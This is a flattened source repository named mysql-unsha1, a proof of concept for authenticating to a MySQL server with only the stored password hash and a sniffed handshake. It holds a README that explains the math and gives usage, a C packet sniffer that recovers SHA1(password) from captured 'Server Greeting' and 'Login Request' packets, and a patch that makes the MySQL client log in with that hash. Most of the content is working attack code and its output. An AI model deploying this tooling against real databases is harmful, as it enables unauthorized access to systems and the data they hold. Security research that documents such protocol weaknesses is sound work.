├── .gitignore ├── Makefile ├── README.md ├── mysql-server-unsha1.patch └── mysql-unsha1-sniff.c /.gitignore: -------------------------------------------------------------------------------- 1 | /_tmp/ 2 | uthash.h 3 | mysql-unsha1-sniff 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: dynamic static clean 2 | 3 | CFLAGS = -Wall -O3 -Os 4 | LDFLAGS = -s 5 | 6 | dynamic: LDLIBS += -lpcap -lcrypto 7 | dynamic: uthash.h mysql-unsha1-sniff 8 | 9 | static: LDLIBS += -Wl,-Bstatic -lpcap -lcrypto -Wl,-Bdynamic 10 | static: uthash.h mysql-unsha1-sniff 11 | 12 | uthash.h: 13 | wget https://raw.githubusercontent.com/troydhanson/uthash/master/src/uthash.h 14 | 15 | clean: 16 | $(RM) uthash.h 17 | 18 | cleanall: clean 19 | $(RM) mysql-unsha1-sniff 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | mysql-unsha1 2 | ============ 3 | 4 | Authenticate against a MySQL server without knowing the cleartext password. 5 | 6 | Abstract 7 | -------- 8 | 9 | This PoC shows how it is possible to authenticate against a MySQL server under 10 | certain circumstances without knowing the cleartext password when the [Secure 11 | Password Authentication] authentication plugin (aka `mysql_native_password`, the 12 | default method) is used. 13 | 14 | Preconditions are: 15 | 16 | - to obtain a read-only access to the `mysql.user` table in the target database 17 | in order to fetch the hashed password for a given user; 18 | 19 | - to be able to intercept a successful authentication handshake performed by the 20 | aforementioned user (i.e., [authentication via SSL] would nullify this 21 | attempt). 22 | 23 | **Note:** This is not a bug nor a vulnerability in MySQL (this is hardly an 24 | *exploit* actually), it is just a direct consequence of how the authentication 25 | protocol works. If an attacker is able to satisfy the above points then the 26 | whole system is probably already compromised. Yet this exploit may offer an 27 | alternative approach to obtain a proper authenticated access to a MySQL server. 28 | 29 | MySQL server passwords 30 | ---------------------- 31 | 32 | By default, passwords are stored in the `mysql.user` table and are hashed using 33 | the `PASSWORD` function which is just a two-stage SHA1 digest: 34 | 35 | ``` 36 | mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root'; 37 | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 38 | 39 | mysql> SELECT PASSWORD('password'); 40 | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 41 | 42 | mysql> SELECT SHA1(UNHEX(SHA1('password'))); 43 | 2470c0c06dee42fd1618bb99005adca2ec9d1e19 44 | ``` 45 | 46 | The handshake 47 | ------------- 48 | 49 | After the TCP connection phase, initiated by the client, the MySQL 50 | authentication [handshake] continues as follows (simplified): 51 | 52 | 1. the server sends a `Server Greeting` packet containing a *salt* (`s`); 53 | 54 | 2. the client replies with a `Login Request` packet containing the session 55 | password (`x`), computed as follows: 56 | 57 | x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password))) 58 | 59 | where `password` is the cleartext password as provided by the user and `+` 60 | is a mere string concatenation operator; 61 | 62 | 3. the server can verify the *challenge* and authenticate the client if: 63 | 64 | SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password)) 65 | 66 | where `SHA1(SHA1(password))` is the two-stage SHA1 digest of the password, 67 | stored in the `mysql.user` table; the server does not know the cleartext 68 | password nor its SHA1 digest. 69 | 70 | The exploit 71 | ----------- 72 | 73 | With enough information an attacker is able to obtain `SHA1(password)` and 74 | therefore to solve the server challenge without the knowledge of the cleartext 75 | password. 76 | 77 | Let: 78 | 79 | - `h` be the hashed password obtained from the `mysql.user` table (i.e., 80 | `SHA1(SHA1(password))`); 81 | 82 | - `s` and `x` be the salt and the session password respectively obtained from 83 | the intercepted handshake. 84 | 85 | The first-stage SHA1 can be obtained as follows: 86 | 87 | SHA1(password) = x XOR SHA1(s + h) 88 | 89 | Tools 90 | ----- 91 | 92 | To ease the reproducibility of the exploit, this PoC provides two tools: 93 | 94 | - a simple sniffer to extract and check the handshake information either live or 95 | offline from a PCAP file; 96 | 97 | - a patch for MySQL client which allows to treat the prompted passwords as SHA1 98 | digests instead of cleartexts. 99 | 100 | ### The sniffer 101 | 102 | To build `mysql-unsha1-sniff` just run `make` (or `make static` to produce a 103 | statically linked executable). The Makefile will look for the `uthash.h` file in 104 | this directory and will download it if not found. 105 | 106 | Run `mysql-unsha1-sniff` without arguments to display the usage message. 107 | 108 | In accordance with the previous example: 109 | 110 | sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root 111 | 112 | Once a successful authentication handshake is captured the output will be like: 113 | 114 | [+] Input: 115 | [+] - username ........................ 'root' 116 | [+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49 117 | [+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329 118 | [+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19 119 | [+] Output: 120 | [+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 121 | [+] Check: 122 | [+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19 123 | [+] - authentication status ........... OK 124 | 125 | If no account information are provided, the tool will only display the salt and 126 | the session password. 127 | 128 | ### The patched MySQL client 129 | 130 | Building the MySQL client may take some time and requires a certain amount of 131 | free disk space: 132 | 133 | 1. download and extract the MySQL source code: 134 | 135 | wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz 136 | tar xf mysql-5.7.17.tar.gz 137 | cd mysql-server-mysql-5.7.17 138 | 139 | 2. apply the patch: 140 | 141 | patch -p1 SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8')); 169 | 2470c0c06dee42fd1618bb99005adca2ec9d1e19 170 | ``` 171 | 172 | and `2470c0c06dee42fd1618bb99005adca2ec9d1e19` is the hashed password stored in 173 | the `mysql.user` table. 174 | 175 | [Secure Password Authentication]: https://dev.mysql.com/doc/internals/en/secure-password-authentication.html 176 | [authentication via SSL]: https://dev.mysql.com/doc/internals/en/ssl.html 177 | [handshake]: https://dev.mysql.com/doc/internals/en/plain-handshake.html 178 | -------------------------------------------------------------------------------- /mysql-server-unsha1.patch: -------------------------------------------------------------------------------- 1 | diff --git a/sql-common/client.c b/sql-common/client.c 2 | index b2a302c..d81ead5 100644 3 | --- a/sql-common/client.c 4 | +++ b/sql-common/client.c 5 | @@ -6164,6 +6164,8 @@ int STDCALL mysql_set_character_set(MYSQL *mysql, const char *cs_name) 6 | return mysql->net.last_errno; 7 | } 8 | 9 | +void unsha1_scramble(char *to, const char *message, const char *hash_stage1_hex); 10 | + 11 | /** 12 | client authentication plugin that does native MySQL authentication 13 | using a 20-byte (4.1+) scramble 14 | @@ -6203,7 +6205,7 @@ static int native_password_auth_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql) 15 | { 16 | char scrambled[SCRAMBLE_LENGTH + 1]; 17 | DBUG_PRINT("info", ("sending scramble")); 18 | - scramble(scrambled, (char*)pkt, mysql->passwd); 19 | + unsha1_scramble(scrambled, (char*)pkt, mysql->passwd); 20 | if (vio->write_packet(vio, (uchar*)scrambled, SCRAMBLE_LENGTH)) 21 | DBUG_RETURN(CR_ERROR); 22 | } 23 | diff --git a/sql/auth/password.c b/sql/auth/password.c 24 | index 1f93350..52b5c13 100644 25 | --- a/sql/auth/password.c 26 | +++ b/sql/auth/password.c 27 | @@ -266,6 +266,26 @@ void make_scrambled_password(char *to, const char *password) 28 | my_make_scrambled_password_sha1(to, password, strlen(password)); 29 | } 30 | 31 | +void 32 | +unsha1_scramble(char *to, const char *message, const char *hash_stage1_hex) 33 | +{ 34 | + uint8 hash_stage1[SHA1_HASH_SIZE]; 35 | + uint8 hash_stage2[SHA1_HASH_SIZE]; 36 | + size_t hash_stage1_hex_len; 37 | + 38 | + /* convert hex string to octets */ 39 | + hash_stage1_hex_len = strlen(hash_stage1_hex); 40 | + assert(hash_stage1_hex_len == 2 * SHA1_HASH_SIZE); 41 | + hex2octet(hash_stage1, hash_stage1_hex, hash_stage1_hex_len); 42 | + 43 | + /* stage 2 */ 44 | + compute_sha1_hash(hash_stage2, (const char *)hash_stage1, SHA1_HASH_SIZE); 45 | + 46 | + /* create crypt string as sha1(message, hash_stage2) */; 47 | + compute_sha1_hash_multi((uint8 *) to, message, SCRAMBLE_LENGTH, 48 | + (const char *) hash_stage2, SHA1_HASH_SIZE); 49 | + my_crypt(to, (const uchar *) to, hash_stage1, SCRAMBLE_LENGTH); 50 | +} 51 | 52 | /* 53 | Produce an obscure octet sequence from password and random 54 | -------------------------------------------------------------------------------- /mysql-unsha1-sniff.c: -------------------------------------------------------------------------------- 1 | #include "uthash.h" 2 | 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define VERBOSE 0 15 | 16 | #define BPF_FORMAT "ip host %s && tcp port %d" 17 | #define SNAPLEN 256 18 | #define MAX_FIELD 1024 19 | #define MYSQL_PROTOCOL_VERSION 10 20 | 21 | #define check_pkt(condition, reason) \ 22 | do { \ 23 | if (condition) { \ 24 | if (VERBOSE) { \ 25 | fprintf(stderr, \ 26 | "[*] Skipping packet (" reason ") @%d\n", __LINE__); \ 27 | } \ 28 | return; \ 29 | } \ 30 | } while (0) 31 | 32 | #define mysql_header_size(header_ptr) \ 33 | ((header_ptr)->size[0] | \ 34 | ((header_ptr)->size[1] << 8) | \ 35 | ((header_ptr)->size[2] << 16)) 36 | 37 | struct mysql_header 38 | { 39 | uint8_t size[3]; 40 | uint8_t number; 41 | } 42 | __attribute__((__packed__)); 43 | 44 | struct attempt_key { 45 | uint32_t server_ip; 46 | uint16_t server_port; 47 | uint32_t client_ip; 48 | uint16_t client_port; 49 | }; 50 | 51 | struct attempt 52 | { 53 | struct attempt_key key; 54 | uint8_t salt[SHA_DIGEST_LENGTH]; 55 | char username[MAX_FIELD]; 56 | uint8_t password[SHA_DIGEST_LENGTH]; 57 | int expect; /* 0: empty; 1: need Server Greeting; 2: need Login Request */ 58 | 59 | UT_hash_handle hh; 60 | }; 61 | 62 | struct account 63 | { 64 | char username[MAX_FIELD]; 65 | uint8_t server_hash[SHA_DIGEST_LENGTH]; 66 | 67 | UT_hash_handle hh; 68 | }; 69 | 70 | static int is_live; 71 | static const char *input; 72 | static const char *server_ip; 73 | static int server_port; 74 | static pcap_t *pcap; 75 | static struct attempt *attempts = NULL; 76 | static struct account *accounts = NULL; 77 | 78 | static void dump_hex(const unsigned char *data, size_t length) 79 | { 80 | size_t i; 81 | 82 | for (i = 0; i < length; i++) { 83 | printf("%02x", data[i]); 84 | } 85 | printf("\n"); 86 | } 87 | 88 | static void unsha1(uint8_t *sha1_password, const uint8_t *client_password, const uint8_t *salt, const uint8_t *sha1_sha1_password) 89 | { 90 | uint8_t concat[2 * SHA_DIGEST_LENGTH], salted[SHA_DIGEST_LENGTH]; 91 | size_t i; 92 | 93 | /* compute salted */ 94 | memcpy(concat, salt, SHA_DIGEST_LENGTH); 95 | memcpy(concat + SHA_DIGEST_LENGTH, sha1_sha1_password, SHA_DIGEST_LENGTH); 96 | SHA1(concat, 2 * SHA_DIGEST_LENGTH, salted); 97 | 98 | /* compute SHA1(server_password) */ 99 | for (i = 0; i < SHA_DIGEST_LENGTH; i++) { 100 | sha1_password[i] = client_password[i] ^ salted[i]; 101 | } 102 | } 103 | 104 | static void pkt_callback(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *bytes) 105 | { 106 | const u_char *todo, *aux; 107 | bpf_u_int32 todo_len; 108 | const struct ethhdr *ethernet_header; 109 | const struct iphdr *ip_header; 110 | size_t ip_header_size; 111 | const struct tcphdr *tcp_header; 112 | size_t tcp_header_size; 113 | const struct mysql_header *mysql_header; 114 | struct attempt *attempt; 115 | struct attempt_key attempt_key = {0}; 116 | int server_to_client; 117 | struct account *account; 118 | 119 | /* initialize */ 120 | todo_len = pkt_header->caplen; 121 | todo = bytes; 122 | 123 | /* dissect ethernet */ 124 | assert(todo_len >= sizeof(struct ethhdr)); 125 | ethernet_header = (const struct ethhdr *)todo; 126 | assert(ntohs(ethernet_header->h_proto) == ETH_P_IP); 127 | todo += sizeof(struct ethhdr); 128 | todo_len -= sizeof(struct ethhdr); 129 | 130 | /* dissect ip */ 131 | assert(todo_len >= sizeof(struct iphdr)); 132 | ip_header = (struct iphdr *)todo; 133 | assert(ntohs(ip_header->protocol == IPPROTO_TCP)); 134 | ip_header_size = ip_header->ihl * sizeof(uint32_t); 135 | todo += ip_header_size; 136 | todo_len -= ip_header_size; 137 | 138 | /* dissect tcp */ 139 | assert(todo_len >= sizeof(struct tcphdr)); 140 | tcp_header = (const struct tcphdr *)todo; 141 | assert(ntohs(tcp_header->source) == server_port || ntohs(tcp_header->dest) == server_port); 142 | server_to_client = ntohs(tcp_header->source) == server_port; 143 | tcp_header_size = tcp_header->doff * sizeof(uint32_t); 144 | todo += tcp_header_size; 145 | todo_len -= tcp_header_size; 146 | 147 | /* skip invalid mysql header */ 148 | check_pkt(todo_len < sizeof(struct mysql_header), "too short"); 149 | mysql_header = (const struct mysql_header *)todo; 150 | todo += sizeof(struct mysql_header); 151 | todo_len -= sizeof(struct mysql_header); 152 | 153 | /* prepare the attempt key */ 154 | if (server_to_client) { 155 | attempt_key.server_ip = ip_header->saddr; 156 | attempt_key.server_port = tcp_header->source; 157 | attempt_key.client_ip = ip_header->daddr; 158 | attempt_key.client_port = tcp_header->dest; 159 | } else { 160 | attempt_key.client_ip = ip_header->saddr; 161 | attempt_key.client_port = tcp_header->source; 162 | attempt_key.server_ip = ip_header->daddr; 163 | attempt_key.server_port = tcp_header->dest; 164 | } 165 | 166 | /* insert if not present */ 167 | HASH_FIND(hh, attempts, &attempt_key, sizeof(struct attempt_key), attempt); 168 | if (!attempt) { 169 | printf("[*] Traffic from a new client detected\n"); 170 | attempt = calloc(1, sizeof(struct attempt)); 171 | assert(attempt); 172 | attempt->key = attempt_key; 173 | HASH_ADD(hh, attempts, key, sizeof(struct attempt_key), attempt); 174 | } 175 | 176 | /* check if done */ 177 | check_pkt(attempt->expect == 2, "done with this attempt"); 178 | 179 | /* dissect mysql packets */ 180 | switch (mysql_header->number) { 181 | case 0: 182 | /* check expected */ 183 | check_pkt(attempt->expect != 0, "unexpected"); 184 | 185 | /* check and skip protocol version */ 186 | check_pkt(todo_len < 1, "too short"); 187 | check_pkt(*todo != MYSQL_PROTOCOL_VERSION, "invalid version"); 188 | todo++; 189 | todo_len--; 190 | 191 | /* skip server version */ 192 | check_pkt(todo_len < 1, "too short"); 193 | aux = memchr(todo, 0, todo_len); 194 | check_pkt(!aux, "malformed"); 195 | todo_len -= aux - todo + 1; 196 | todo = aux + 1; 197 | 198 | /* skip id */ 199 | check_pkt(todo_len < 4, "too short"); 200 | todo += 4; 201 | todo_len -= 4; 202 | 203 | /* copy and skip the first salt */ 204 | check_pkt(todo_len < 9, "too short"); 205 | check_pkt(todo[8] != 0, "malformed"); 206 | memcpy(attempt->salt, todo, 8); 207 | todo += 9; 208 | todo_len -= 9; 209 | 210 | /* skip some fields */ 211 | check_pkt(todo_len < 18, "too short"); 212 | todo += 18; 213 | todo_len -= 18; 214 | 215 | /* copy the second salt */ 216 | check_pkt(todo_len < 13, "too short"); 217 | check_pkt(todo[12] != 0, "malformed"); 218 | memcpy(attempt->salt + 8, todo, 12); 219 | 220 | /* next */ 221 | printf("[*] Packet 'Server Greeting' received\n"); 222 | attempt->expect++; 223 | break; 224 | 225 | case 1: 226 | /* check expected */ 227 | check_pkt(attempt->expect != 1, "malformed"); 228 | 229 | /* skip some fields */ 230 | check_pkt(todo_len < 32, "too short"); 231 | todo += 32; 232 | todo_len -= 32; 233 | 234 | /* copy and skip username */ 235 | check_pkt(todo_len < 1, "too short"); 236 | aux = memchr(todo, 0, todo_len); 237 | check_pkt(!aux, "malformed"); 238 | strcpy(attempt->username, (const char *)todo); 239 | todo_len -= aux - todo + 1; 240 | todo = aux + 1; 241 | 242 | /* skip password length */ 243 | check_pkt(todo_len < 1, "too short"); 244 | check_pkt(*todo != SHA_DIGEST_LENGTH, "malformed"); 245 | todo++; 246 | todo_len--; 247 | 248 | /* copy hashed password */ 249 | check_pkt(todo_len < SHA_DIGEST_LENGTH, "too short"); 250 | memcpy(attempt->password, todo, SHA_DIGEST_LENGTH); 251 | 252 | /* next */ 253 | printf("[*] Packet 'Login Request' received\n"); 254 | attempt->expect++; 255 | 256 | /* done */ 257 | printf("[+] Handshake completed!\n"); 258 | printf("[+]\n"); 259 | printf("[+] Input:\n"); 260 | printf("[+] - username ........................ '%s'\n", attempt->username); 261 | printf("[+] - salt ............................ "); dump_hex(attempt->salt, SHA_DIGEST_LENGTH); 262 | printf("[+] - client session password ......... "); dump_hex(attempt->password, SHA_DIGEST_LENGTH); 263 | 264 | /* check if there is a matching account */ 265 | HASH_FIND_STR(accounts, attempt->username, account); 266 | if (account) { 267 | uint8_t sha1_password[SHA_DIGEST_LENGTH], aux[SHA_DIGEST_LENGTH]; 268 | int valid; 269 | 270 | /* un-SHA1 server password */ 271 | unsha1(sha1_password, attempt->password, attempt->salt, account->server_hash); 272 | printf("[+] - SHA1(SHA1(password)) ............ "); dump_hex(account->server_hash, SHA_DIGEST_LENGTH); 273 | printf("[+] Output:\n"); 274 | printf("[+] - SHA1(password) .................. "); dump_hex(sha1_password, SHA_DIGEST_LENGTH); 275 | 276 | /* check login correctness */ 277 | SHA1(sha1_password, SHA_DIGEST_LENGTH, aux); 278 | valid = (memcmp(account->server_hash, aux, SHA_DIGEST_LENGTH) == 0); 279 | printf("[+] Check:\n"); 280 | printf("[+] - computed SHA1(SHA1(password)) ... "); dump_hex(aux, SHA_DIGEST_LENGTH); 281 | printf("[+] - authentication status ........... %s\n", valid ? "OK" : "ERROR"); 282 | } 283 | printf("[+]\n"); 284 | break; 285 | 286 | default: 287 | check_pkt(1, "wrong packet number"); 288 | } 289 | } 290 | 291 | static pcap_t *open_handler() 292 | { 293 | char errbuf[PCAP_ERRBUF_SIZE] = {0}; 294 | pcap_t *pcap; 295 | 296 | /* open handler */ 297 | if (is_live) { 298 | pcap = pcap_open_live(input, SNAPLEN, 1 /* promisc */, 0 /* to_ms */, errbuf); 299 | } else { 300 | pcap = pcap_open_offline(input, errbuf); 301 | } 302 | 303 | /* check warnings */ 304 | if (*errbuf) { 305 | fprintf(stderr, "[!] %s\n", errbuf); 306 | } 307 | 308 | /* check errors */ 309 | if (!pcap) { 310 | exit(EXIT_FAILURE); 311 | } 312 | 313 | return pcap; 314 | } 315 | 316 | static void check_link_layer_type() 317 | { 318 | int dlt; 319 | 320 | /* fetch the lynk layer type of the handler */ 321 | dlt = pcap_datalink(pcap); 322 | assert(dlt != PCAP_ERROR_NOT_ACTIVATED); 323 | 324 | /* check expected value */ 325 | if (dlt != DLT_EN10MB) { 326 | fprintf(stderr, "[!] ERROR: unexpected link-layer type %s\n", 327 | pcap_datalink_val_to_name(dlt)); 328 | exit(EXIT_FAILURE); 329 | } 330 | } 331 | 332 | static void set_bpf() 333 | { 334 | char bpf[1024]; 335 | struct bpf_program fp; 336 | 337 | /* format BPF */ 338 | sprintf(bpf, BPF_FORMAT, server_ip, server_port); 339 | 340 | /* compile BPF program */ 341 | if (pcap_compile(pcap, &fp, bpf, 1 /* optimize */, -1 /* netmask */) != 0) { 342 | fprintf(stderr, "[!] ERROR: %s\n", pcap_geterr(pcap)); 343 | exit(EXIT_FAILURE); 344 | } 345 | 346 | /* apply the filter */ 347 | if (pcap_setfilter(pcap, &fp) != 0) { 348 | fprintf(stderr, "[!] ERROR: %s\n", pcap_geterr(pcap)); 349 | exit(EXIT_FAILURE); 350 | } 351 | 352 | /* cleanup */ 353 | pcap_freecode(&fp); 354 | } 355 | 356 | static void start_packet_loop() 357 | { 358 | fprintf(stderr, "[+] Waiting for packets...\n"); 359 | 360 | switch (pcap_loop(pcap, -1 /* cnt */, pkt_callback, NULL)) { 361 | case 0: /* EOF */ 362 | break; 363 | 364 | case -1: /* error */ 365 | fprintf(stderr, "[!] ERROR: %s\n", pcap_geterr(pcap)); 366 | exit(EXIT_FAILURE); 367 | 368 | case -2: /* break_loop */ 369 | break; 370 | } 371 | } 372 | 373 | static void cleanup() 374 | { 375 | pcap_close(pcap); 376 | } 377 | 378 | static int parse_sha1(uint8_t *sha, const char *sha_str) 379 | { 380 | size_t i; 381 | 382 | for (i = 0; i < SHA_DIGEST_LENGTH; i++) { 383 | if (sscanf(sha_str + 2 * i, "%02hhx", &sha[i]) != 1) { 384 | return 0; 385 | } 386 | } 387 | 388 | return 1; 389 | } 390 | 391 | static void parse_arguments(int n_args, char *args[]) 392 | { 393 | int i; 394 | 395 | /* check invocation */ 396 | if (n_args < 4 || (strcmp(args[0], "-i") != 0 && strcmp(args[0], "-r") != 0)) { 397 | fprintf(stderr, 398 | "Usage:\n\n" 399 | " -i [<40-hex-digits-hash>: ...]\n" 400 | " -r [<40-hex-digits-hash>: ...]\n"); 401 | exit(EXIT_FAILURE); 402 | } 403 | 404 | /* input type */ 405 | is_live = (strcmp(args[0], "-i") == 0); 406 | 407 | /* set arguments */ 408 | input = args[1]; 409 | server_ip = args[2]; 410 | server_port = atoi(args[3]); 411 | 412 | /* parse accounts */ 413 | for (i = 4; i < n_args; i++) { 414 | const char *ptr, *username, *server_hash_str; 415 | uint8_t server_hash[SHA_DIGEST_LENGTH]; 416 | struct account *account; 417 | 418 | /* split account fields */ 419 | ptr = strchr(args[i], ':'); 420 | if (!ptr || ptr - args[i] != 2 * SHA_DIGEST_LENGTH || *(ptr + 1) == '\0') { 421 | fprintf(stderr, "[!] invalid account format'%s'\n", args[i]); 422 | break; 423 | } 424 | server_hash_str = args[i]; 425 | username = ptr + 1; 426 | 427 | /* parse hash */ 428 | if (!parse_sha1(server_hash, server_hash_str)) { 429 | fprintf(stderr, "[!] invalid SHA1 hash '%s'\n", server_hash_str); 430 | break; 431 | } 432 | 433 | /* add account */ 434 | account = calloc(1, sizeof(struct account)); 435 | assert(account); 436 | strcpy(account->username, username); 437 | memcpy(account->server_hash, server_hash, SHA_DIGEST_LENGTH); 438 | HASH_ADD_STR(accounts, username, account); 439 | } 440 | } 441 | 442 | int main(int argc , char *argv[]) 443 | { 444 | parse_arguments(argc - 1, argv + 1); 445 | pcap = open_handler(); 446 | check_link_layer_type(); 447 | if (is_live) { 448 | set_bpf(); 449 | } 450 | start_packet_loop(); 451 | cleanup(); 452 | return EXIT_SUCCESS; 453 | } 454 | 455 | /* 456 | TODO 457 | - IPv6 support? 458 | */ 459 | --------------------------------------------------------------------------------